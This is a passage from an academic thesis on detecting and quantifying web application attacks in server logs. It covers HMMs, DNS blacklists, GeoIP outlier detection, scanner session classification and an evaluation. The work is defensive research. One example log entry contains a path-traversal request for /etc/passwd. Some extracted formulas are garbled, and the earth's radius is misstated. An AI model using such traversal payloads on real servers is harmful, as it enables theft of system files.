and their use of application is described in [Rab89]. The basic idea behind them, as
opposed to Markov models in general, is to recover unknown states from a sequence
of observations.

3.3.1. Hidden Markov Models

The approach of modeling structural inference of URL query attributes with Markov
chains has first been suggested by [KV03]. It was extended to hidden Markov models
by [CAG09] and extended by [AG10], [GJ12], [AG11] and [?] as described in Sec-
tion 3.1. HMMs can be said to be state of the art in machine learning based anomaly
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detection for web applications. In our implementation, we stick close to the procedures
described in [CAG09]. Unfortunately, to our knowledge a PHP-framework or libraries
for HMMs including multi-sequence training and testing algorithms does not exist.
Therefore we have written a HMM-implementation in PHP including all algorithms
necessary for training and testing.

3.3.2. Training Phase

As a first step, we build and train an ensemble of HMMs for every URL query
parameter of a web application. For this, legitimate input sequences are learned from
training data to later compare them with test data. To facilitate the learning process
and the number of possible inputs, we convert every letter to the character A and every
digit to the character N (compare: [CAG09]). All other characters are kept. Remember
the request has already been URL-decoded (and optionally normalized by PHPIDS)
as described in Section 2.9. As practiced in statistical outlier detection, every client
is only allowed to contribute once per web application for the generation of training
data to avoid dataset poisoning. The values are only added to the training set if a
2xx/3xx HTTP response code is observed, indicating a normal operation. As the
training of HMMs is computationally intensive, we use a maximum of 150 observa-
tions. As a minimum of required observations for HMM-based detection we define 40.

For the training of HMM ensembles, we use the Baum-Welch algorithm introduced in
[BPSW70] and modified for multiple sequence learning in [Rab89]. The formula to
re-estimate the properties of an HMM λ = (A,B, π) is defined by [LL03] as follows:
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∑
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Where A is transition matrix, a ∈ A and B is the observation matrix, b ∈ B. π is the
initial distribution of the HMM (chosen randomly) and ‘Wk = 1

Pk
, k ∈ [1K] is the

inverse of the probability of the current model estimate generating training sequence
k’ [LL03]. The variables α, β are the results of the forward- and backward procedure
as described in [Rab89].

3.3.3. Testing Phase

We use the Viterbi decoding algorithm to test input sequences as originally introduced
by [Vit67] and discussed in [FJ73] and [RN93]. A faster version called the ‘Lazy
Viterbi algorithm’ has recently proposed by [FAFF02]. The Viterbi algorithm
calculates the most likely sequence of hidden states as well as the probability p of
a sequence. In our case, the likelihood of occurrence for a given URL query value
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is computed. If a URL contains several parameter/value pairs, a minimum rule is
applied [CAG09]. The used procedure for HMM-based anomaly detection is shown
in Algorithm 3.

Note that there can be more than one trained HMMs within an ensemble. In such
a case, a multiple classifier system (MCS) is to be applied by testing the sequence
against all HMMs and using a maximum fusion rule [CAG09]. Even though an MCS
can lead to higher detection accuracy [AG10], we do training and testing with only
one HMM per URL query parameter of a web application by default for performance
reasons. However, this can be changed at will by setting the $hmm_num_models
source code variable in our implementation.

Algorithm 3 HMM-based anomaly detection

for all requests i do
if |samples per web application j| ≥ threshold then

for all URL query parameters k do
for all ensembles l do

pjkl
= Viterbi decode(k, HMMjkl

)
end for

end for
if min(pjk0..jkn) ≤ threshold then

return true
end if

end if
end for

If an input sequence contains symbols not previously learned, its probability of being
valid is significantly decreased, thus marking the request as an attack [CAG09]. To
get a positive integer as result which can be compared to a reference PHPIDS result in
Chapter 6, we use 1

p instead of p and apply logarithmic scale.

3.4. DNSBL Ranking

Consecutively we use DNSBL information as indicator for a potential attack or mis-
demeanor. The concept of DNS-based blackhole lists is described in Section 2.6

3.4.1. A Binary Property

Since it is a binary property whether an address is blacklisted or not, our DNSBL
detection procedure is fairly trivial as shown in Algorithm 4: If an address has a
record within a certain DNSBL, it is marked as belonging to a potential attacker.
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Algorithm 4 DNSBL-based offender detection
for all DNSBL i do

if address listed in i then
return true

end if
end for

We leave it up to the user which type of DNSBL to choose. A list of DNSBL types
can be found in Table 2.1. As a recommendation, zombie (botnet membership) or
spam might be good candidates. In contrast, we do not advise to use tor or proxy
since users of anonymizing networks like Tor should not be discriminated per se.

DNSBL have been heavily criticized for continuous listing of dynamic IP addresses,
listing of whole net blocks and unclear listing criteria. According to the quality of
the chosen list, factoring DNSBL information as a detection criterion might lead to
high false-positive rate. Still, we think the implementation of DNSBL lookups is an
expedient feature, because it increases the informative value of generated reports, as
described in Chapter 5.

3.5. Geolocation Anomalies

Even though known to be used by finance companies worldwide [Mal09], there is
little public research4 on the topic of geolocation-based anomaly detection. [KHK12]
propose to map intruders’ IP addresses on a geographical map, once detected, but
they still require a separate IDS. We suggest to use GeoIP data itself, as described
in Section 2.7, for anomaly detection. This is based on the assumption that visitors
of a certain website often originate from the same geographical areas, while attacks
might be distributed more widely from all over the globe. For example, customers of
a Catalan, (non-international) banking website will mostly access the site from within
the Spanish state. Payment transactions from another far-away country might be an
indicator for ‘unusual behavior’ and a possible fraud attempt. Therefore, geotargeting
– in combination with other criteria – can help in fraud detection.

For this, the geographical distance between the web server and a client could be mea-
sured and used for anomaly detection. The server’s geolocation however is not always
known (unless the logfile contains a vhost field), nor is it necessarily the hotspot of
visitors’ activity – consider e.g. a French web shop with customers mainly in France
but hosted in the USA. A better way to determine the hotspot of website-visitors would
be to calculate the mean/median/modal of all client’s geolocations. This value could

4The approach recently proposed by [KK12] to predict the ‘cybercrime potentiality’ of a geolocation by
looking at ‘socio–economic attributes of people living in that area’ is absolutely discriminating and
therefore disregarded in this work
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then be compared to the geolocation of a visitor – the further the deviance, the more of
an outlier the client would be. However there can certainly be more than one hotspot.
Imagine a company’s internal web application, accessible over the Internet by its em-
ployees (and intended to be used solely by them). The company may have branches in
several locations all over the globe. In such a case, we need a density-based approach
to detect hotspots (clusters) and outliers. Such a technique was introduced in 2000 by
[BKNS00] as ‘Local Outlier Factor’ (LOF).

3.5.1. Local Outlier Factor

The LOF algorithm assigns a degree of outlyingness to each object within a multi-
dimensional dataset. This is done by comparing the local density of an object to the
local densities of its k-nearest neighbors. Objects belonging to a cluster have a LOF
close to 1. The more isolated an object, the higher its LOF.

The LOF of an object A is defined as [BKNS00]:

LOFk(A) :=
∑
B∈Nk(A) lrd(B)
|Nk(A)| /lrd(A)

Where k is the chosen number of nearest neighbors, Nk(A) is the set of k-nearest
neighbors of A (whose cardinality can be greater than k) and lrd is the local reacha-
bility density, defined as:

lrd(A) := 1/
(∑

B∈Nk(A) rdk(A,B)
|Nk(A)|

)

Where the reachability distance rd is defined as [BKNS00]:

rdk(A,B) = max{kd(B), d(A,B)}

Where the k-distance kd(A) is the distance of an object A to its k nearest neighbor.

In our case of GeoIP data, latitude and longitude form a two-dimensional vector space.
The distance d between two geolocations A = (lat1, lon1) and B = (lat2, lon2) then
is calculated as follows, based on the Haversine formula [Rob57]:

d(A,B) = r · π ·

√
(lat1 − lat2)2 + cos( lat1c ) · cos( lat2c ) · (lon1 − lon2)2

180

Where r = 16.371 kilometers is the mean radius of the earth and c = 360◦

2π is the
number of degrees per radian.
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One disadvantage of the LOF algorithm is that it does handle duplicates well. A set of
elements of the exact same value is thus not recognized as a cluster. In our case, this
happens especially if we have several requests from different IP addresses originating
from same geolocation (e.g. the same institute, net block, etc.). We solve this by ‘blur-
ring’ geolocations. For this, we add a random value v = 0.00..0.99 to latitude and
longitude each geolocation. Since the optimal number of nearest neighbors k cannot
be predicted [BKNS00], we run the LOF algorithm with k = 10..20 and apply a maxi-
mum rule. Due to the lack of available libraries, we have written an implementation of
LOF in PHP. The used procedure for GeoIP-outlier detection is shown in Algorithm 5

Algorithm 5 GeoIP-based outlier detection
for all blured geolocations i do

for j = MinPtsLb to MinPtsUb do
results.add⇐ LOFi,j

end for
if max(results) ≥ threshold then

return true
end if

end for

As LOF is computationally intensive, we use a maximum of 150 different, randomly
chosen IP addresses from the log data, meaning up to 150 sample geolocations. As a
minimum of required, unique IP addresses for GeoIP detection we define 40.

It is important to note that, if the web server to be analyzed is frequented from all
over the word, GeoIP-based detection will lead to – apart from geolocation-based
discrimination – a high false-positive rate. Since the Internet is borderless, a search
bot from anywhere on the planet as well as an interested user might visit the website.
Furthermore GeoIP- and DNSBL-detection might not be statistically independent,
thus using them together might falsify the overall results.

A combination of the various detection modes described in this chapter is possible.
In such a case, results will be simply added up. A weighting only makes sense in
the individual case for above reasons (e.g. internationality of server, quality of DNS
blacklist in use.)
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4. Analysis

In the first part of this chapter, we classify suspicious web sessions into those provoked
by a human attacker and those initiated by an automated program. In the second part,
we use various techniques to quantify and evaluate detected attacks in terms of success
or failure. Both session classification and attack quantification will help compile a
more adequate report on the severity of an attack at a later stage.

4.1. Related Work

As far as we are aware, little research has been done so far into the detection of
automated web application scanners. [SVA11] propose to use self-organizing maps
(SOM) and modified adaptive resonance theory 2 (ART2) to cluster users into the
categories ‘malicious’ and ‘non-malicious’. A similar, SOM-based approach to detect
anomalies and automated scans in web log files is suggested in [Ste12].

There have been a number of publications on the problem of web robot detection.
This comes closer to our own intent. We have already ascertained the maliciousness
of observed requests in Chapter 3 and thus take great interest in the question of their
automation. So while web robot detection is not exactly the same as vulnerability
scanner detection, it is useful for us in order to see whether the requests were carried
out by a machine (see Section 4.2).

[DG11] propose a framework to classify existing robot detection techniques into
four categories: syntactical log analyses, traffic pattern analyses, analytical learning
techniques and Turing test systems. Syntactical log analyses techniques use signatures
of user-agent strings and IP addresses known to belong to web robots (compare also
[HNJ08]). Traffic pattern analyses techniques are based on ‘fixed expectation about
the behavior of robots’ regarding their navigational patterns, requested resources,
etc. (compare also [LB06], [DF]). Analytical learning techniques use a ‘formal
machine-learning or a probabilistic model’ based on various features to detect robots
(compare also [TK02], [KOK+12]). Turing test systems perform a human-machine
classification by using active techniques like CAPTCHA [VABHL03] challenges.

We are not aware of any ongoing research into success evaluation of web-based attacks
from a forensics perspective.
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4.2. Session Classification

Once we have identified attacks associated with a client, it might be of interest if they
are carried out by a human or machine. We do this on a per session basis, as described
in Section 2.5, to be able to distinguish between various automated and non-automated
activities of a client.

4.2.1. Man-Machine Distinction

We have collected values of 19 features like average inter-request time delays, used
HTTP methods, number of requests, width and depth of traversal, etc. for nine popular
web application scanners: Arachni1 (0.4.1.1), DirBuster2 (0.12), GrendelScan3 (1.0),
Nessus4 (5.0.2) Nikto5 (2.1.5), Skipfish6 (2.09b), w3af7 (1.1/r4473), Wapiti8 (2.2.1)
and Websecurify9 (0.9). A comparison of the results is shown in Table A.3. Based on
these observations and the approach of [TK02], we propose a session classification
technique as documented below.

By default, we classify all sessions as spawned by human attackers. This is usually
the most dangerous class of attackers as it means a human being is sitting behind the
desk, taking her time to try to get into our system.

If a session contains only a single, malicious request (no images etc. loaded) we
classify the session as a ‘random scan’. This usually happens when a computer worm
passes by or if a single exploit is tested against our server. We generally classify this
as the most harmless class of attacks, as it either means Nimda [MRRV01] is still
not dead or, to put it bluntly, some script kiddie10 got a new toy to probe on the Internet.

1Laskos, T., Arachni – web application security scanner framework,
https://github.com/arachni/, Dec. 2012

2OWASP DirBuster Project, DirBuster – directory and filename brute force tool,
http://sourceforge.net/projects/dirbuster/, Dec. 2012

3Byrne, D., GrendelScan – automated web application security scanner,
http://sourceforge.net/projects/grendel/, Dec. 2012

4Tenable Network Security, Nessus vulnerability scanner,
http://tenable.com/products/nessus/, Dec. 2012

5Sullo, C., Nikto CGI- and web server scanner,
http://www.cirt.net/nikto2, Dec. 2012

6Zalewski, M., Skipfish – web application security scanner,
http://code.google.com/p/skipfish/, Dec. 2012

7Riancho, A., w3af – web application attack and audit framework,
http://w3af.sourceforge.net/, Dec. 2012

8Surribas, N., Wapiti – web application vulnerability scanner,
http://wapiti.sourceforge.net/, Dec. 2012

9Petkov, P.D., Websecurify – web application security testing platform,
http://code.google.com/p/websecurify/, Dec. 2012

10Raymond, E. S., The Jargon File, version 4.4.8 – script kiddies,
http://www.catb.org/jargon/html/S/script-kiddies.html, Dec. 2012
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We classify a session as a ‘targeted scan’ if one of the following criteria is fulfilled:

1. The robots.txt file [Kos96] is requested. Note that there is the risk of mis-
classification here as this criterion can also be fulfilled by a human manually
crafting the request.

2. The session contains requests with non GET/POST methods. As above, there
is the risk of misclassification since a human attacker could also manually craft
such a request.

3. The average inter-request time delay for web applications (identified by their file
extension) is less than one second. Note that auto-loaded resources like images
are not counted and hence do not influence the time delay. We use one second
as a threshold because we do not assume a human to reach such low values.

4. More than 1.000 request to web applications are made within a session. We use
this criterion because again, we do not assume that a human can easily fulfill it.

5. The ratio of 4xx status codes is greater than the square root of the number of
request divided by the number of requests. Web application vulnerability tend to
produce a lot of 4xx response codes. We chose the square root value instead of
a fixed one because we assume a human user would learn from error messages
she receives for her requests. Therefore the rules should get stricter based on the
number of requests (max. 3 out of 10 compared to max. 10 out of 100).

The severity of an automated scan is hard to estimate. It might either be an extended
version of a random scan or the first step of a targeted attack against the server (e.g. the
attacker might be returning at a later stage to manually probe for whatever the scanner
may have found). Even though there is not always certainty, we define the class of
automated, non single-request attacks as a ‘targeted scan’ by default. A decision tree
for the described session classification algorithm is shown in Figure 4.1.

Figure 4.1.: Classification of sessions

default:
human attacker

robots.txt file requests
or non GET/POST requests
or average time delay < 1 sec
or |web app requests| > 1.000

or code 4xx ratio >
√

|requests|
|requests|

targeted scan

|requests| = |attacks| = 1 random scan
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We would have liked to have included the option to differentiate between ‘static’ (e.g.
CGI scans) and ‘fuzzy’ scans based on the a sessions average number of requests per
web application. This, however, would have been based on the arithmetic mean and
standard deviation of the number of requests of all clients for all web applications and
therefore needed larger amounts of memory, which is contrary to the design decisions
we made in Section 1.2.3.

For memory and performance reasons, session classification is done only for sessions
containing requests which have been detected as attacks in our implementation.

4.3. Attack Quantification

As illustrated in Chapter 3, there are several features that characterize an attack. But
what characterizes a successful attack? Yet another random scan is probably less in-
teresting (or in fact just ‘noise’) than is potential damage to the server. In this section,
we present several approaches to estimate the ‘success’ of detected attacks: first, we
make passive assumptions based on HTTP response codes and bytes sent, then we use
active replay and signature matching to quantify attacks.

4.3.1. Response Code Assumptions

If we have a sub-optimal vector of features for attack detection in Section 1.2.3, this is
even more true for attack quantification. From the logfiles alone, we only have access
to two values, sent from web server to client: the HTTP response code and the number
of bytes of the response body.

Response or ‘status’ codes as defined in [FGM+99] are not really helpful as they may
occur more or less arbitrarily. Some guesses on their impact are shown in Table 4.1.

Status Guess

401, 403 unsuccessful .htaccess login
404 unsuccessful static/cgi-bin scanner
408, 503 slowloris denial of service attempt
414 unsuccessful buffer overflow attempt
500 server-side error, should be checked

Table 4.1.: HTTP response codes and guesses on their impact

It is not advised to use HTTP response codes for attack quantification unless you are
a friend of the lottery – that is to say: no valid results will come from it. Also it
is essential to note that some WAFs like ModSecurity11 tend to falsify the response

11Rectanus, B., ModSecurity – open source web application firewall, http://www.modsecurity.
org/, Dec. 2012
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codes to 200_OK for obscurity reasons. While this means that reading them is about
as complicated as reading tea-leaves – and may well not lead not more insights, it costs
little computing time. On the off-chance of receiving useful results, it should therefore
still be included in the procedure.

4.3.2. Outlyingness of Size of Responses

A more meaningful feature for attack quantification is the number of bytes sent from
web server to client. Whenever this value deviates from the previous bytes-sent
value, the content of the response has changed. This insight can be used for attack
quantification. Consider for instance SQLi probing or file inclusion attempts: As long
as the attack is not successful, an expected bytes-sent is returned by the server – as it
is for valid request. Once an attack succeeds, the leaked content of a file or database
is sent to the client. In this case, the number of bytes-sent might differ significantly.
We therefore propose to use the outlyingness of bytes-sent values as an indicator for
a successful attack. As to our knowledge, this is a new approach, not suggested before.

Value and variance of the number of bytes-sent for a certain web application depends
on its internal logic. While some web applications produce a static value on legitimate
traffic and failed attacks, others produce clusters of values. Therefore a density-based
approach for outlier detection tends to provide good results.

We use the LOF algorithm, as described in Section 3.5.1 to detect bytes-sent anomalies
and thereby draw conclusions on the success of an attack. Every client is only allowed
to contribute one bytes-sent value per web application to avoid training data poisoning.
The value is only added to the training set if we have a 2xx/3xx HTTP response
code, indicating a normal operation. We keep all documented algorithms and settings
(minimum and maximum of samples per web application, etc.). The only change lies
in the the use of the absolute value of the Euclidean distance between the bytes-sent
values instead of the geographical distance. We re-define the distance d as:

d(A,B) = |bytes_sentA − bytes_sentB|

Bytes-sent values are further blurred by adding a random value v = 0.00..0.99 to
them. This is important in case we have to deal with static values. The outlier
detection procedure is shown in Algorithm 6.

Unfortunately, error messages caused by the web server or the web application itself
tend to provoke the same, outlying behavior. In such a case it is difficult to correctly
quantify the attack and not produce false positives. However, while a message like
‘input validation error’ is uninteresting, some error messages lead to disclosure of
sensitive information and can be considered relevant.
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Algorithm 6 Attack quantification based on the size of responses

for all web applications do
for all blured bytes-sent values j do

for k = MinPtsLb to MinPtsUb do
results.add⇐ LOFj,k

end for
if max(results) ≥ threshold then

return true
end if

end for
end for

4.3.3. Attack Replay and Signature Matching

Since the information derived from web logs alone is often not revealing enough to
make a decision, we can use active methods for attack quantification. Therefore we
suggest to replay attacks and match them for a set of ‘quantification signatures. This
approach is not new, since it is used by various web application security scanners
to evaluate their attacks. A premise to use this practice in a posteriori forensics
scenario is the server in question needs to be still up and running with the same web
applications as at the time of the original attack.

We have built a set of 77 signatures, matching sensitive files like source code,
password files or private keys and patterns of information disclosure of environment
variables, directory listings, and SQL error messages, etc. An extract of signatures
used can be found in Table A.4. Important work in this area has already been done,
therefore a significant part of the signatures are derived from to the web application
vulnerability scanners w3af, skipfish, zaproxy and nikto.

In addition, signatures to detect successful cross-site scripting are dynamically added,
according to Algorithm 7.

Algorithm 7 Addition of dynamic XSS signatures

for all URL-query values i do
if value contains ‘<script’ then

signatures.add⇐ value
end if

end for

In our implementation, a default maximum replay per client is set to 1.000. To not
cause damage to the server, a clone server for should be set up if active replay is used.
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5. Visualization

The results of detection and analysis provide a mass of data difficult to understand
if not visualized in a clear and well-arranged way. In this chapter, we present two
methods for visualizing the detected attacks, their classification and quantification.
We show the benefits of a tabular approach as well as the advantages of a map-based
visualization.

5.1. Related Work

Writing about visualization, there is a wide consensus in the scientific community on
the ground rules – keeping it simple, keeping it understandable, keeping it honest, and
also to consider object and audience (compare [Mil04], p. 3) before settling for a cer-
tain type of display.1 Tables are the obvious choice for visualization, while the use
of geographical maps to display IDS alerts has been proposed by [KHK12]. Uncon-
ventional, game-like visualizations of web log files implemented by Logstalgia2 and
glTail3 are also noteworthy.

5.2. Result Summarization

Our implementation is capable of generating two kinds of reports: summarized
and ‘raw’. In raw mode, every logline is analyzed and the results are written to
disk on-the-fly. In summarized mode, all results are loaded into memory, further
processed and written to disk at the end. The summarization process includes adding a
human-readable description of the attack as shown in Figure 5.1. If the PHP pChart
library is installed, as assumed in Section 1.2.1), a pie chart of the noisiest clients is
drawn as shown in Figure 5.2. To sort results by relevance, clients are displayed in the
following order: 1st by estimated success of their attacks, 2nd by their noise level.

Some features like session classification are there only available in summarized mode.
The advantage of a raw mode is that it is faster and that a user can abort the process
any time (by pressing CTRL-C) to be issued with a partial report.

1As we all know, this knowledge is predominantly theoretical since PowerPoint and co. have returned a
surprising number of sensible people to the developmental stage of paint-happy three-year-olds.

2Caudwell, A., logstalgia – website access log visualization, http://code.google.com/p/
logstalgia/, Dec. 2012

3Simonsen, E., glTail.rb – realtime logfile visualization, http://www.fudgie.org/, Dec. 2012
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Figure 5.1.: Summarized results for various clients

Figure 5.2.: Pie chart of the TOP10 troublemakers

5.3. Table-based Output

The default output format of our implementation are HTML tables, enhanced by Java
Script, thus making them sortable by key or filterable by value. Furthermore, we
colorize different sessions, attacks and their quantification. An example screenshot
is shown in Figure 5.3. As you can see, the shade of blue changes within the table,
which signifies the spawn of a new session of the same type (targeted scan). We
use color highlighting to display attacks in different hues. We also show quantification
results (only those gathered from possibly successful attacks) for ease of interpretation.
Within a table, we do not only show attacks but all traffic caused by a client, to facilitate
a forensic analysis.
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Figure 5.3.: Sortable and filterable HTML table output

5.4. Map-based Output

A graphical representation of the results based on Google Maps4 is provided by the
SIMILE Exhibit publishing framework5 – if geotargeting as described in Section 2.7
is enabled. For this, the detected attacks are converted into JSON format as shown in
Listing 5.1 and read from a HTML file with the Exhibit widget.

Listing 5.1: Example of JSON-output

1 { items: [

2 {

3 label: "134.147.252.130 [Incident #1]",

4 type: "Incident",

5 index: 1,

6 client: "134.147.252.130",

7 impact: [ 15 ],

8 status: "200",

9 method: "GET",

10 request: "GET /include.php?file=../etc/passwd HTTP/1.0",

11 data: "Remote-Host: 134.147.252.130

12 Final-Status: 200

13 Bytes-Sent: 0

14 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0)",

15 remoteCity: "Germany, Bochum",

16 location: "51.4833,7.2167",

17 },

18 {

19 label: "1",

20 index: 1,

21 date: "2012-01-16 01:01:45 +0100",

22 },

23 ] }

4Google Inc., Google Maps, http://maps.google.com/, Dec. 2012
5Huynh, D. F., Exhibit – publishing framework for data-rich interactive web pages,
http://simile-widgets.org/exhibit/, Dec. 2012

41

http://maps.google.com/
http://simile-widgets.org/exhibit/


Exhibit offers various features like filtering and sorting the data for certain values, e.g.
according to their impact, HTTP method etc. A sample screenshot of the JSON output
within Exhibit is shown in Figure 5.4

Figure 5.4.: Detection results in an Exhibit/Google map

As one can easily see in this kind of visualization – using the real-world web logs of
a computer manufacturing company – there have been various sets of attacks with a
divisor of 5, especially from China, which leads to assuming a distributed scan that
otherwise could not have been easily identified.

42



6. Evaluation

In this chapter, we evaluate and compare the previously described algorithms for at-
tack detection, attack quantification and session classification. We perform tests with
datasets created under laboratory conditions as well as such obtained from the ‘wild
wild web’.

6.1. Lab Tests

In this section, we test our implementation on labeled and with hand-crafted attacks.
An overview of the program’s usage is given in Listing 6.1.

Listing 6.1: Usage of our implementation

1

2 Usage: lorg [-i input_type] [-o output_type] [-d detect_mode]

3 [-a add_vector] [-c client_ident] [-b dnsbl_type]

4 [-q quantification] [-t threshold] [-v verbosity]

5 [-n] [-u] [-h] [-g] [-p] input_file [output_file]

6

7 -i allowed input types: common combined combinedio cookie vhost

8 -o allowed output types: html json xml csv

9 -d allowed detect modes: chars phpids mcshmm dnsbl geoip all

10 -a additional attack vectors: path argnames cookie agent all

11 -c allowed client idents: address session user logname all

12 -b allowed dnsbl types: tor proxy zombie spam dialup all

13 -q allowed quantification types: status bytes replay all

14 -t threshold level as value from 0 to n (default: 10)

15 -v verbosity level as value from 0 to 3 (default: 1)

16 -n do not summarize results, output single incidents

17 -u decode URL-encoded requests for viewing in report

18 -h try to convert numerical addresses into hostnames

19 -g enable geotargeting (separate files are needed!)

20 -p perform a naive tamper detection test on logfile

6.1.1. The Dataset

To evaluate our implementation, we need a labeled dataset. Therefore we must de-
fine ‘normal’ (training) data and malicious (test) data which is obtained from various
sources as described below.
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Training Data We use log files generated by three weeks of traffic to our institute’s
web server, www.nds.rub.de, from here on called the NDS dataset. It consists of
63.000 requests altogether, ca. 4.000 requests per day. All incoming web traffic has
been pre-filtered by a firewall with IPS. The dataset is therefore considered attack free,
in terms of measuring false-positives.

Test Data We use 40 real-world exploits obtained from various online sources123

(9 command execution, 9 local file inclusion, 9 XSS/CSRF, 13 SQL injection). This
approach may appear arbitrary at first, but is similar to the one used by [KVR05],
[CAG09], [GJ12] and [AG11], since there is no standard labeled web attack dataset
publicly available. The exploits where chosen randomly with the restriction of them
using the HTTP GET method as payload injection. The payloads were placed in five
URL query values of two web applications used in the NDS dataset. A complete list
of the selected exploits (in their original form) can be found in Listing A.1. For 20
of the used exploits, we set the bytes-sent value to the predicted value of a successful
attack (e.g. the size of /etc/passwd for file inclusion). Furthermore, we add the
corresponding log entries of automated scans from SQLmap4 (0.9) and Wfuzz5 (2.0).

Subsequently, training data and test data are merged and processed by our implemen-
tation using various detection modes as well as bytes-sent based quantification.

6.1.2. Attack Detection

To find an adequate trade-off between the number of true- and false-positives, we
have implemented the option of setting a threshold, using the -t parameter which
is comparable to the PHPIDS ‘impact’. Therefore requests are only recognized as
attacks when they exceed this limit, leading to a smaller number of false positives.

ROC curves as described in [MR04], [Faw06] are a good method for finding a balance
between the rate of true and false positives of an IDS. A ROC curve of the statistical
CHARS detection mode and MCSHMM-based detection compared with the results of
PHPIDS, which served as a reference point for our evaluation, is shown in Figure 6.1

All tests where performed on a 2.000 MHz standard PC using the default settings of
our implementation as defined in the previous chapters.

1The Packet Storm Team, Exploit Files, http://packetstormsecurity.org/, Dec. 2012
2The Exploit Database (EDB), http://exploit-db.com/, Dec. 2012
3Inj3ct0r Exploit Database, http://1337day.com/, Dec. 2012
4Bernardo, D. A. G., Stampar, M., sqlmap – automatic SQL injection tool,
http://sqlmap.org/, Dec. 2012

5Martorella, C., Mendez, X., wfuzz – web application bruteforcer,
http://code.google.com/p/wfuzz/, Dec. 2012
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Figure 6.1.: ROC curve of attack detection algorithms
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The CHARS module performs surprisingly well in our test environment with an overall
of 95% attacks detected and a very low (almost zero) false positive rate until a 90%
detection rate threshold. This can be traced back to the the NDS dataset not containing
significant occurrences of special characters. In case of the presence of larger amounts
of legitimate, but non-alphanumeric characters in the training data, a more extensive
inspection of the URL query structure as accomplished by HMM-based algorithms and
PHPIDS would have been necessary to differentiate between malicious and valid input.

The MCSHMM module has a slightly higher rate of false positives: 12 out of 63.000
legitimate request were misclassified as attacks even on strict thresholds which cor-
responds to an overall percentage of 0.02% – a value we consider as maintainable.
It achieved the highest detection rate with an overall of 97.5% attacks on an almost
constant false positive rate and was even able to detect 100% of all attacks, however
with a unacceptable high false positive rate of 1%. We can confirm the observations
of [CAG09], [AG10] and others that HMMs are a powerful instrument for detecting
attacks against web applications.
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The PHPIDS module performs at quite a high level as well with 92.5% detection
rate and a very low false positive up to 82.5% detection. What sets it aside from the
two approaches described above – and this is also its big advantage – is that it is
not learning-based. Thus its results are not dependent on the existence of sufficient
and non-polluted training data, meaning PHPIDS can be used in environments where
training data is nonexistent, rare or contains a high ratio of attacks.

6.1.3. Attack Quantification

As mentioned in Section 6.1.1, we manually change the ‘bytes-sent’ value of 20 re-
sponses within the test data to match the size of the response of a successful attack.
This is done for command execution, file inclusion and SQL injection types of attack.
In those cases we set an adequate bytes-sent value based on a prediction of the com-
mand output, file or database disclosure of the corresponding malicious request. The
result is as follows: For the overall of 77 results, detected as suspicious by the CHARS
module 31 responses possessed a LOF greater than one. 14 false positives are detected
with a LOF of 2-3, while 18 true positives are detected with a LOF of 4-25. Two
outliers remain undetected. The results are shown in Figure 6.2.

Figure 6.2.: ROC curve of outlyingness of size of responses
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By setting an adequate threshold a true positive rate of 100% with zero false positives
could be achieved for the given test dataset. However, larger amounts of labeled data
containing successful and failed attacks is needed to make sophisticated statement.
All in all, we think the search for outliers in the size of responses is a promising
approach to quantify attacks for web log forensics.

We cannot make an active replay test for the obvious reason that the test data added
to the NDS dataset does not correspond to really existing vulnerabilities within our
institutes web server.

6.1.4. Session Classification

The human-robot distinction is an insightful and informative feature. We have dis-
cussed that human attackers might be more persistent and motivated and are therefore
more dangerous. In our tests, the traffic of SQLmap and Wfuzz was successfully clas-
sified as automated scans. However, robot detection is not a pivotal element of our
model – we are, after all, concentrating on what gaps in security are uncovered. For
a more sophisticated man-machine classification, completely labeled data would be
necessary, as well as a much bigger theoretical focus on the research field of robot de-
tection. This will have to wait for another time since it would go far beyond the scope
of this thesis. Nonetheless, users of the program should bear in mind the different
approaches and security risks involved in this distinction, and be it only for when they
are implementing their new, improved security structures.

6.2. Field Tests

In this section, we deal with non pre-filtered, real-world web logs to evaluate the use of
DNS blacklists and GeoIP-data for the identification of potentially malicious clients.

6.2.1. The Wild Wild Web

‘Just be out there in it, you know? In the wild.’

– Alexander Supertramp, Into the Wild (2007)

DNSBL As we assume the NDS dataset to be free from attacks, we cannot use it
to evaluate the DNSBL module as proposed in Section 3.4. We therefore obtained
the web log data of an US gaming magazine, which is heavily polluted by real-world
attempts of intrusion. Note that this dataset is not suited for the determination of
a false-positive rate since it is completely unlabeled. However we can get a rough
impression of the practicability of DNSBL-based judgments for web traffic. For this
we pick 1.000 sample requests and perform a PHPIDS-based attack detection with a
moderate threshold of 10. PHPIDS is used since it – as described – can handle highly
polluted log files, on which other detection techniques might fail.
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This results in the detection of 515 suspicious incidents from 387 clients. Subsequently
we perform DNSBL lookups for these clients as shown in Table 6.1.

#Attacks Tor Proxy Zombie Spam Dial-up unlisted

absolute 2 1 4 112 6 262
relative (%) 0.5 0.2 1.0 28.9 1.5 67.7

Table 6.1.: Distribution of malicious clients over DNS blacklist types

Although only a tiny fraction of IP addresses in existence is listed in the chosen DNS
blacklists, a noticeable amount of the clients identified as malicious originates from
blacklisted addresses. This is especially true for ‘spam’ listed clients which are re-
sponsible for almost one third of the incidents. On the other hand, the use of DNSBLs
alone as a detection criterion has proven a failure, since two thirds of the overall ma-
licious clients are not listed at all. We therefore suggest to use DNSBL lookups as an
additional feature and information enrichment of generated reports only.

GeoIP We furthermore obtained the real-world web log data of a local sports club,
located in the Rhein-Erft-Kreis, Germany to test the GEOIP module. Figure 6.3 shows
the results in form of LOF values for various geolocations of originating clients. The
higher the value, the more isolated a client is from his neighbors. A manual inspection
showed that none of the ‘outliers’ was an attack.

Figure 6.3.: Local outlier factor of geolocations in Europe

48



Therefore we consider this is a proof of concept for the underlying algorithms of
density-based outlier detection used for GeoIP-data, but not a practical tool to iden-
tify attackers. One might, furthermore, have to ask if putting national borders back up
on the border-less Internet is a good idea (compare: [Bar06]).

6.3. Performance

As described in Section 1.2.3, we make a design decision to not cache the whole
logfile into memory. Our implementation caches only actions of clients identified
as attackers and does this exclusively in ‘summarized’ mode, therefore keeping the
memory usage moderate. As for computing time we have measured performance with
the Xdebug6 PHP debugger. The output is visualized by KCachegrind7 in Figure 6.4.
Main bottlenecks in terms of performance are the HMM and LOF algorithms.

Figure 6.4.: XDebug profiler output of multiple detection modes

This is especially a problem for huge log files and a time-critical forensics analysis.
As the implementation of both algorithms was written from scratch it certainly offers
room for improvements which we might take care of at a later point in time. Another
possibility to increase performance would be to parallelize DNS- and DNSBL lookups
which can cost a lot of time due to network latency. Altogether we are satisfied with
the performance of our prototype implementation.

6Rethans, D., Xdebug – debugger and profiler tool for PHP, http://xdebug.org/, Dec. 2012
7Weidendorfer, J., kcachegrind – profiler frontend, http://sourceforge.net/projects/
